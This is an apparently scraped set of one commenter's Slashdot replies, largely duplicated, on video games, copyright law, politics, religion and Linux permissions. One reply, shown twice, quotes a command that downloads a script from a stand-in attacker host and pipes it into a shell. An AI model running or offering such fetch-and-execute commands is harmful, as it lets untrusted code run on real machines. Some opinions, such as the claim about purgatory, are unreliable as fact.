5. Comet has no acceleration except from (reliable) gravity. Missile has onboard thrusters that can push the object in unpredictable ways, such as to specifically evade the attack.
It's true that there are occasional comets which give of thrust, but that happens when they're close enough to a star to heat up and blast steam.
3.Comet is in a microgravity enviroment, bullet could stop and wait for comet vs. warheads
That's a pointless idea. In the depths of the solar system the concept of "stopping" is barely meaningful. The only way an object could "stop" would be to enter a stable orbit, which is still basically moving. Otherwise you'd still need "constant thrust" to fight gravity. It's far better to use a single-curve trajectory than to try and alter it like that.
Besides, you get more destructive power from a faster hit.
The game merely reacts in an intelligent way to what you ask your character to do.
No it doesn't.
The intelligent reaction to someone who attacks prostitutes is that no other prostitutes would ever work for him again, and that both pimps and police would come to kill him, and that they wouldn't stop trying to kill him just because he's repainted a car.
In GTA you can habitually kill every prostitute, without getting a bad reputation.
If that is true, his body cannot be in more than one place at once, so now that he's in heaven,
If you want to poke fun at the transubstantiation dogma, then focus on the "You're EATING Jesus" aspect.
After all, disregarding the Law of Conservation of Mass is an established New Testament routine. If 70 people can eat 1 fish, why can't 7,000,000 people eat 1 Son?
that Christ died once for all and that there is no need for any more sacrifice, surely Mass is a denial of what Christ did on the cross
There's no sacrifice in Mass...
surely there is no room for purgatory?
There is no concept of purgatory (or limbo) in modern Catholic theology, so it can't be used to attack them. The fact that their doctrine was so impermanent that an entire phase of spiritual existence could be retroactively recanted is a valid criticism, however.
Battlefield 1942 misrepresents the look and feel of Wake Island
Actually that discrepancy is nowhere near as bad as the problems in Halo or Half-Life. The layout of the in-game Wake Island is nearly identical to the real one. The only differences are the vertical exaggeration, and the too-small runway sizes (the airstrip should take up almost a whole leg of the island, not just a bit at the apex)
Terraforming the entire planet, refusing to colonize it altogether, or building biodomes all over its surface? Right now, the third option is pretty much out of the question, so we have a long-term
How can you possibly imagine that planetwide terraforming is cheaper than building enclosed habitats?
Or even less than 20x as expensive, for that matter? What kind of technological dream world do you live in "right now"?
TWELVE MONKEYS had a lot of Watchmen-esq elements; almost as though that movie used some of the left-over pre-production from the cancelled Watchmen project.
There's a similarity between the cancelled screenplay and 12 Monkeys because they both involve time travel. But the Watchmen comic had no element of time travel; that was a new insertion by the screenwriter. (Well, the comic had tachyons travelling backwards through time, but they had no effect other than barely perceptible radiation)
Hey, how about Bruce Willis as Rorschach?
No, he's completely wrong. Bruce Willis looks like a tough guy, and the point of Rorschach is, once the mask is off, he looks puny.
How much more different would you want? Doom2 had rooms containing 60 individual monsters- where you could see ALL of them at once. What's the limit on "awake" monsters in Doom 3? 8? 10? And half of those are probably hidden in the blackness.
Or what about the Doom cyberdemon? Dodging back and forth around each of the blasts from his triple-rocket bursts while pumping him full of shells. Single well-timed keystrokes were all that stood between you and explosive death.
Doom3 had a (bigger) cyberdemon too, but there was no need for reflexes except to run around the circle away from him, and remember to throw a cube whenever it charges. And even if he looked cool, you couldn't really admire him, because you had to be hunting small demons to collect soul points. (Whereas in Doom1, you constantly looked at the cool monster to tell when he was attacking)
3) Doom 3 was also only slow in parts.
The only way Doom3 had fast parts was if you cheated by using quickload to detect traps by dashing into them. If not for that, then it'd be just inching forward until a demon's elbow peeks around the corner to get blasted.
4) Much of Doom 3's level design was lifted from the original Doom concepts.
Seeing realistic 3-d versions of all that old stuff was one of the best parts. Too bad they left out a dominant feature of the original maps: Lightbulbs. Flourescent lamps everywhere, so many that you can actually see both walls of a hallway at the same time! And windows, which let in the Sun (Mars is closer to the sun, and has no atmosphere to support clouds, so it should've been BRIGHT)
The idea that you needed a flashlight to get around the base even BEFORE the demon explosion mucked up the power is just wrong.
Doom3 is the exact same game, exact same experiences, that id has made for years
I wish that were true! The combat action of Doom (and Doom2) was tremendously better than the latest game. Frantic run&gun battles, side-stepping fireballs and bringing down one more brown imp with each pump of your shotgun... it was great.
So instead in Doom3, you creep through the darkness looking for monsters. There will rarely be more than 3 at a time, because the engine can't handle it. And when you see/hear these monsters, you hunker down and hose them immediately, hopefully before they can advance on you. Running around during a fight isn't much of an option, because the hallways are tight, and DARK, and you can't go places if you can't see.
The inability to see enemies is the great flaw of D3 (and it's worse because it was so intentional). Vision means knowledge, knowledge means thinking and meaningful action. It's not enjoyable for a player to have no way to know what's coming, so he can't plan actions except by restoring to predict each new ambush.
It's quite fair to compare games more based on their beginnings than their middles or ends.
Everybody plays the beginning- not everyone makes it to the end. Especially if the start isn't very good, you can't expect people to stick through to the finish. So if D3 improved at the end, that's not much praise.
The original Half-Life was the opposite: the game got much worse right near the finish. But it's still remembered as a great achievement. All in all, its best for games to stack their finest content near the front.
You shouldn't make players suffer to "earn" the right to a fun ending- the whole process of getting there must be enjoyable on its own.
Everything got a little harder as things went along like all games do,
Nope. Once you acquired the Soul Cube weapon, it got drastically easier. Full health restore + 1 instant kill for every 5 monsters you fight, which even counts the tiny spiders? It made gameplay so much easier it was almost fun. That was the only real gameplay change-up.
kill the mobs
Your vocabulary is heavily MUD-biased. (Although they call them MMORPGs these days).
As for why democrates keep loosing? it isn't because they are honest. One of the bigest liars was a moderate democrate and was president right in between the bush family.
Ok, see: When I say that honest candidates lose, and you point to a winning candidate and call him dishonest, then you're just agreeing with me. So why did you try to make it sound contradictory?
There is nothign making the republicans more dishonest then democrates in the election cycle.
Wrong. There are fundamental, structural reasons why one party will be less honest than the other.
According to Duverger's Law, a plurality-wins election system will produce two parties of approximately equal voting power, championing divergent bundles of issues. It's unavoidable that one or the other will have policies more favorable towards the wealthy. Whichever party that is will have more money available to it for advertising, which increases their ability to convince voters to act against their own interest.
As it happens, the Republicans are the wealthier party, so they have more money, which means more advertising, which means they have a greater ability to be dishonest. Which means that since any party will naturally all its strengths to be elected, the Republicans WILL be more dishonest.
it cannot be prevented, so it doesn't matter if it's a bad idea or not. That was my point.
And your examples were counterproductive towards illustrating that truth. Those tricks won't work if they can't write to a disk- and if they have disk write access, there are probably more straighforward ways to run a program file- like, oh, running a program file.
Such hacker tricks are useful for root-escalation or similar, but are totally unnessary to demonstrate that users can already install programs, and conceal the simplicity of "wget -dump evil.com/linux | sh". You make it seem harder than it almost always is.
The first one merely doesn't say that skipping commercials is legal
Which is all the ammunition a team of expensive corporate attack-lawyers needs to convince a jury that it IS ILLEGAL.
Courts are free to consider the mindset of lawmakers. If someone goes out of his way to single-out a specific action as unprotected, the only logical explanation is that he expected it to be forbidden. Otherwise, why did Congress even go through the effort to write out what you call a redundant clause, unless they don't think it's redundant at all.
How would you feel if your government issued a statement that women older than 42 are exempted from mandatory sterilization? Would you really think it's a good and helpful sign?
Well, you really like to watch yourself type... you truely like this topic. Enough to hold forth on other aspects of IP law that are both irrelevant and painfully evident... who do you think that helps? Wastes of text don't get your ideas read.
You're a student, eh? I hope your graders don't encourage these kinds of meaningless digressions. Sure, it helps you fill the pages if there's some minimum limit, but it doesn't make for useful writing. I mean, if you have to invoke the fictional nation of Pottsylvania, it had better be illustrating a more central element of your thesis!
So if it is not currently a per se copyright infringement to skip ads, then it STILL will be legal if the new 110 exemption passes.
Wrong. IPPA sponsor Leahy has already explained his intent to ban "real-time copyright infringment", where a work is apparently modified without any fixed copies being made. Currently very legal, soon to be forbidden. If you're going for the bar, do you know anything about how litigation works yet?
Can't you understand how useful it will be for an MPAA plantiff to pull out the following (ellided) law?
(10) notwithstanding paragraph (4), the following is not an infringement of copyright:
the making imperceptible, by or at the direction of a member of a private household, of limited portions of audio or video content of a motion picture, if(B) no changes, deletions or additions are made by such computer program or other technology to commercial advertisements
Courts work by understood intent, and the intent is clear: "Congress says that zapping commercials is not not an illegal infringement. Double negatives cancel out, so go directly to JAIL, do not collect $200". This is all the leverage a barrister needs.
Furthermore, although I didn't paste in this section, the complete law also restricts that exemption to ephemeral copies, meaning that a system which recorded a blank screen over sections of a VHS tape would be illegal if applied to commercials.
Since you are not reading the law, but are instead making crap up out of thin air and then getting worked up about your imaginary laws
I'll pass along your opinion to Senator John McCain. He'll be interested in picking up some tips from a more experienced legislator like you!
The new 110 exemption is GOOD. Take it from me.
Can you really not see how a promise to avoid an activity in a narrowly-defined circumstance is actually an admission that the action will likely take place in other times? Remember the trouble George W Bush faced when he claimed to have never used illegal drugs in the past 11 years?
If Congress passed an exemption that citizens of 6'4" or taller wouldn't be fed to the smelting vats without a fair trial, would you call it GOOD too? "Oh, they're never going to churn lamp-oil from human corpses anyhow, so the fact that this exemption is here shouldn't worry us much"
If a masked gunman jumps into your office and explains "Stay down and I won't hurt you", will go you on moving around anyway, because you don't think his exemption imputes the opposite?
Or to put it in more political terms, do you understand why Senator Feinstein saw fit to propose an alternate Unborn Victims Act without the exemption protecting abortion? It's because such language paves the way for the exemption becoming NECESSARY in the future.
Take it from me.
Argument from authority. So who's got more prestige? You, or the legislators actually grappling over these bills every day?
And not just any degree, but a master's in IP. My personal specialty is copyright law, which I read all the time, FOR FUN.
I found it fun too, for a while. Except for the part that all US copyright laws passed since 1951 have been b
Every MUD I've ever played had it. Only when people started paying for
Then you didn't play many MUDs. In around 1990 it was common for slain characters to be immediately revived in the town temple. All equipment was left behind with the corpse (you got a free robe to wear), and could probably be retrived.
Bizarrely, the corpse remained as an object, and you could collect pieces of it, such as to carry around your own head...
They already can. Investigate passing paths to ELF binaries to/lib/ld-linux.so.2, and if you figure out how to disable that
You're correct, but you explanation is unnessecarily excessive. Why bother weirdly tricking other executables to load the code when one can simply save the file, "chmod +x", and run it?
Or are you suggesting an administrator might have somehow disabled that operation?
But if someone wants to forbid users from setting the executable bit, then chances are he doesn't want them to have a shell at all...
Today, machines which automatically skip commercials are perfectly legal.
After this bill passes, they will be illegal.
Therefore, skipping commercials will be "more illegal" with this bill. Which is exactly what you still can't understand.
You seem to be missing the not-too-subtle point that banning machines to perform task XYZ is a substantial step towards banning XYZ itself. That's not just a slippery-slope thing, but an immediately important practicality.
Hanging onto the argument "it's not REALLY illegal, because you can still do it manually" is begging to be excused on a technicality. By that argument, the DMCA didn't illegalize reverse-engineering.
Actually, head-crabs were the creature he was most effective against. His computer-like 100% accuracy and infinite ammo let him tear through huge piles of crabs, so long as he saw them coming early enough. (Zombies he could also beat, but only if terrain obstacles stopped them from rushing him)
No it does not. That page is about Windows Installer, which is NOT a part of Windows, but rather a separate product developers can use to add installability to their software. (Components of it are now shipped with Windows, but that's just Microsoft's bundling in action)
Aside from the Microsoft branding, its little different from installers sold by Winzip or Installshield: all of them are completely arbitrary programs that defy management by the operating system.
Re:Spolier: Brief synopsis of Half-Life 1.
on
Review: Half-Life 2
·
· Score: 1
Slashdot Mirror
We've never really gone out and just smashed something in our solar system to bits before.
Wrong. We've done that more than 87,000,000,000 times so far.
Me, I've smashed 3 things today already.
(Welcome to the solar system, btw)
Hitting comet vs. Missile defense:
You left out the most important factor:
5. Comet has no acceleration except from (reliable) gravity. Missile has onboard thrusters that can push the object in unpredictable ways, such as to specifically evade the attack.
It's true that there are occasional comets which give of thrust, but that happens when they're close enough to a star to heat up and blast steam.
3.Comet is in a microgravity enviroment, bullet could stop and wait for comet vs. warheads
That's a pointless idea. In the depths of the solar system the concept of "stopping" is barely meaningful. The only way an object could "stop" would be to enter a stable orbit, which is still basically moving. Otherwise you'd still need "constant thrust" to fight gravity. It's far better to use a single-curve trajectory than to try and alter it like that.
Besides, you get more destructive power from a faster hit.
The game merely reacts in an intelligent way to what you ask your character to do.
No it doesn't.
The intelligent reaction to someone who attacks prostitutes is that no other prostitutes would ever work for him again, and that both pimps and police would come to kill him, and that they wouldn't stop trying to kill him just because he's repainted a car.
In GTA you can habitually kill every prostitute, without getting a bad reputation.
I said "long-term," and also "colonize" somewhere in there.
No, you said "Right now,"
Building enough biodomes to support a significant human population can't be any less expensive than terraforming,
A claim that is completely unjustified, and in fact untrue.
If that is true, his body cannot be in more than one place at once, so now that he's in heaven,
If you want to poke fun at the transubstantiation dogma, then focus on the "You're EATING Jesus" aspect.
After all, disregarding the Law of Conservation of Mass is an established New Testament routine. If 70 people can eat 1 fish, why can't 7,000,000 people eat 1 Son?
that Christ died once for all and that there is no need for any more sacrifice, surely Mass is a denial of what Christ did on the cross
There's no sacrifice in Mass...
surely there is no room for purgatory?
There is no concept of purgatory (or limbo) in modern Catholic theology, so it can't be used to attack them. The fact that their doctrine was so impermanent that an entire phase of spiritual existence could be retroactively recanted is a valid criticism, however.
Battlefield 1942 misrepresents the look and feel of Wake Island
Actually that discrepancy is nowhere near as bad as the problems in Halo or Half-Life. The layout of the in-game Wake Island is nearly identical to the real one. The only differences are the vertical exaggeration, and the too-small runway sizes (the airstrip should take up almost a whole leg of the island, not just a bit at the apex)
Terraforming the entire planet, refusing to colonize it altogether, or building biodomes all over its surface? Right now, the third option is pretty much out of the question, so we have a long-term
How can you possibly imagine that planetwide terraforming is cheaper than building enclosed habitats?
Or even less than 20x as expensive, for that matter? What kind of technological dream world do you live in "right now"?
FYI, it is still *LEGAL* to record a TV show for your personal use.
No it isn't. The only way it's legal to record from TV is for "time shifting" purposes. Watch it more than once, and you're breaking the law.
and the animation will displease people without them ever being able to put a finger on why (it will just look "bad")
So if the protagonist were a robot who's SUPPOSED to be uncannily unemotional, this would be a good thing, right?
And coincidently, that's exactly what Gunm is about.
TWELVE MONKEYS had a lot of Watchmen-esq elements; almost as though that movie used some of the left-over pre-production from the cancelled Watchmen project.
There's a similarity between the cancelled screenplay and 12 Monkeys because they both involve time travel. But the Watchmen comic had no element of time travel; that was a new insertion by the screenwriter. (Well, the comic had tachyons travelling backwards through time, but they had no effect other than barely perceptible radiation)
Hey, how about Bruce Willis as Rorschach?
No, he's completely wrong. Bruce Willis looks like a tough guy, and the point of Rorschach is, once the mask is off, he looks puny.
but not like night and day.
How much more different would you want? Doom2 had rooms containing 60 individual monsters- where you could see ALL of them at once. What's the limit on "awake" monsters in Doom 3? 8? 10? And half of those are probably hidden in the blackness.
Or what about the Doom cyberdemon? Dodging back and forth around each of the blasts from his triple-rocket bursts while pumping him full of shells. Single well-timed keystrokes were all that stood between you and explosive death.
Doom3 had a (bigger) cyberdemon too, but there was no need for reflexes except to run around the circle away from him, and remember to throw a cube whenever it charges. And even if he looked cool, you couldn't really admire him, because you had to be hunting small demons to collect soul points. (Whereas in Doom1, you constantly looked at the cool monster to tell when he was attacking)
3) Doom 3 was also only slow in parts.
The only way Doom3 had fast parts was if you cheated by using quickload to detect traps by dashing into them. If not for that, then it'd be just inching forward until a demon's elbow peeks around the corner to get blasted.
4) Much of Doom 3's level design was lifted from the original Doom concepts.
Seeing realistic 3-d versions of all that old stuff was one of the best parts. Too bad they left out a dominant feature of the original maps: Lightbulbs. Flourescent lamps everywhere, so many that you can actually see both walls of a hallway at the same time! And windows, which let in the Sun (Mars is closer to the sun, and has no atmosphere to support clouds, so it should've been BRIGHT)
The idea that you needed a flashlight to get around the base even BEFORE the demon explosion mucked up the power is just wrong.
Doom3 is the exact same game, exact same experiences, that id has made for years
I wish that were true! The combat action of Doom (and Doom2) was tremendously better than the latest game. Frantic run&gun battles, side-stepping fireballs and bringing down one more brown imp with each pump of your shotgun... it was great.
So instead in Doom3, you creep through the darkness looking for monsters. There will rarely be more than 3 at a time, because the engine can't handle it. And when you see/hear these monsters, you hunker down and hose them immediately, hopefully before they can advance on you. Running around during a fight isn't much of an option, because the hallways are tight, and DARK, and you can't go places if you can't see.
The inability to see enemies is the great flaw of D3 (and it's worse because it was so intentional). Vision means knowledge, knowledge means thinking and meaningful action. It's not enjoyable for a player to have no way to know what's coming, so he can't plan actions except by restoring to predict each new ambush.
the game gets drastically better near the end
It's quite fair to compare games more based on their beginnings than their middles or ends.
Everybody plays the beginning- not everyone makes it to the end. Especially if the start isn't very good, you can't expect people to stick through to the finish. So if D3 improved at the end, that's not much praise.
The original Half-Life was the opposite: the game got much worse right near the finish. But it's still remembered as a great achievement. All in all, its best for games to stack their finest content near the front.
You shouldn't make players suffer to "earn" the right to a fun ending- the whole process of getting there must be enjoyable on its own.
Everything got a little harder as things went along like all games do,
Nope. Once you acquired the Soul Cube weapon, it got drastically easier. Full health restore + 1 instant kill for every 5 monsters you fight, which even counts the tiny spiders? It made gameplay so much easier it was almost fun. That was the only real gameplay change-up.
kill the mobs
Your vocabulary is heavily MUD-biased. (Although they call them MMORPGs these days).
As for why democrates keep loosing? it isn't because they are honest. One of the bigest liars was a moderate democrate and was president right in between the bush family.
Ok, see: When I say that honest candidates lose, and you point to a winning candidate and call him dishonest, then you're just agreeing with me. So why did you try to make it sound contradictory?
There is nothign making the republicans more dishonest then democrates in the election cycle.
Wrong. There are fundamental, structural reasons why one party will be less honest than the other.
According to Duverger's Law, a plurality-wins election system will produce two parties of approximately equal voting power, championing divergent bundles of issues. It's unavoidable that one or the other will have policies more favorable towards the wealthy. Whichever party that is will have more money available to it for advertising, which increases their ability to convince voters to act against their own interest.
As it happens, the Republicans are the wealthier party, so they have more money, which means more advertising, which means they have a greater ability to be dishonest. Which means that since any party will naturally all its strengths to be elected, the Republicans WILL be more dishonest.
it cannot be prevented, so it doesn't matter if it's a bad idea or not. That was my point.
And your examples were counterproductive towards illustrating that truth. Those tricks won't work if they can't write to a disk- and if they have disk write access, there are probably more straighforward ways to run a program file- like, oh, running a program file.
Such hacker tricks are useful for root-escalation or similar, but are totally unnessary to demonstrate that users can already install programs, and conceal the simplicity of "wget -dump evil.com/linux | sh". You make it seem harder than it almost always is.
The first one merely doesn't say that skipping commercials is legal
Which is all the ammunition a team of expensive corporate attack-lawyers needs to convince a jury that it IS ILLEGAL.
Courts are free to consider the mindset of lawmakers. If someone goes out of his way to single-out a specific action as unprotected, the only logical explanation is that he expected it to be forbidden. Otherwise, why did Congress even go through the effort to write out what you call a redundant clause, unless they don't think it's redundant at all.
How would you feel if your government issued a statement that women older than 42 are exempted from mandatory sterilization? Would you really think it's a good and helpful sign?
Well, you really like to watch yourself type... you truely like this topic. Enough to hold forth on other aspects of IP law that are both irrelevant and painfully evident... who do you think that helps? Wastes of text don't get your ideas read.
You're a student, eh? I hope your graders don't encourage these kinds of meaningless digressions. Sure, it helps you fill the pages if there's some minimum limit, but it doesn't make for useful writing. I mean, if you have to invoke the fictional nation of Pottsylvania, it had better be illustrating a more central element of your thesis!
So if it is not currently a per se copyright infringement to skip ads, then it STILL will be legal if the new 110 exemption passes.
Wrong. IPPA sponsor Leahy has already explained his intent to ban "real-time copyright infringment", where a work is apparently modified without any fixed copies being made. Currently very legal, soon to be forbidden. If you're going for the bar, do you know anything about how litigation works yet?
Can't you understand how useful it will be for an MPAA plantiff to pull out the following (ellided) law?
Courts work by understood intent, and the intent is clear: "Congress says that zapping commercials is not not an illegal infringement. Double negatives cancel out, so go directly to JAIL, do not collect $200". This is all the leverage a barrister needs.
Furthermore, although I didn't paste in this section, the complete law also restricts that exemption to ephemeral copies, meaning that a system which recorded a blank screen over sections of a VHS tape would be illegal if applied to commercials.
Since you are not reading the law, but are instead making crap up out of thin air and then getting worked up about your imaginary laws
I'll pass along your opinion to Senator John McCain. He'll be interested in picking up some tips from a more experienced legislator like you!
The new 110 exemption is GOOD. Take it from me.
Can you really not see how a promise to avoid an activity in a narrowly-defined circumstance is actually an admission that the action will likely take place in other times? Remember the trouble George W Bush faced when he claimed to have never used illegal drugs in the past 11 years?
If Congress passed an exemption that citizens of 6'4" or taller wouldn't be fed to the smelting vats without a fair trial, would you call it GOOD too? "Oh, they're never going to churn lamp-oil from human corpses anyhow, so the fact that this exemption is here shouldn't worry us much"
If a masked gunman jumps into your office and explains "Stay down and I won't hurt you", will go you on moving around anyway, because you don't think his exemption imputes the opposite?
Or to put it in more political terms, do you understand why Senator Feinstein saw fit to propose an alternate Unborn Victims Act without the exemption protecting abortion? It's because such language paves the way for the exemption becoming NECESSARY in the future.
Take it from me.
Argument from authority. So who's got more prestige? You, or the legislators actually grappling over these bills every day?
And not just any degree, but a master's in IP. My personal specialty is copyright law, which I read all the time, FOR FUN.
I found it fun too, for a while. Except for the part that all US copyright laws passed since 1951 have been b
Every MUD I've ever played had it. Only when people started paying for
Then you didn't play many MUDs. In around 1990 it was common for slain characters to be immediately revived in the town temple. All equipment was left behind with the corpse (you got a free robe to wear), and could probably be retrived.
Bizarrely, the corpse remained as an object, and you could collect pieces of it, such as to carry around your own head...
They already can. Investigate passing paths to ELF binaries to /lib/ld-linux.so.2, and if you figure out how to disable that
You're correct, but you explanation is unnessecarily excessive. Why bother weirdly tricking other executables to load the code when one can simply save the file, "chmod +x", and run it?
Or are you suggesting an administrator might have somehow disabled that operation?
But if someone wants to forbid users from setting the executable bit, then chances are he doesn't want them to have a shell at all...
Wrong. There's nothing complicated about it:
Therefore, skipping commercials will be "more illegal" with this bill. Which is exactly what you still can't understand.
You seem to be missing the not-too-subtle point that banning machines to perform task XYZ is a substantial step towards banning XYZ itself. That's not just a slippery-slope thing, but an immediately important practicality.
Hanging onto the argument "it's not REALLY illegal, because you can still do it manually" is begging to be excused on a technicality. By that argument, the DMCA didn't illegalize reverse-engineering.
instead of an army of head-crab fodder
Actually, head-crabs were the creature he was most effective against. His computer-like 100% accuracy and infinite ammo let him tear through huge piles of crabs, so long as he saw them coming early enough. (Zombies he could also beat, but only if terrain obstacles stopped them from rushing him)
Hmm. Doesnt it?
No it does not. That page is about Windows Installer, which is NOT a part of Windows, but rather a separate product developers can use to add installability to their software. (Components of it are now shipped with Windows, but that's just Microsoft's bundling in action)
Aside from the Microsoft branding, its little different from installers sold by Winzip or Installshield: all of them are completely arbitrary programs that defy management by the operating system.
You mean like Doom 3?
No, I mean like Quake...
Or maybe like Doom 1...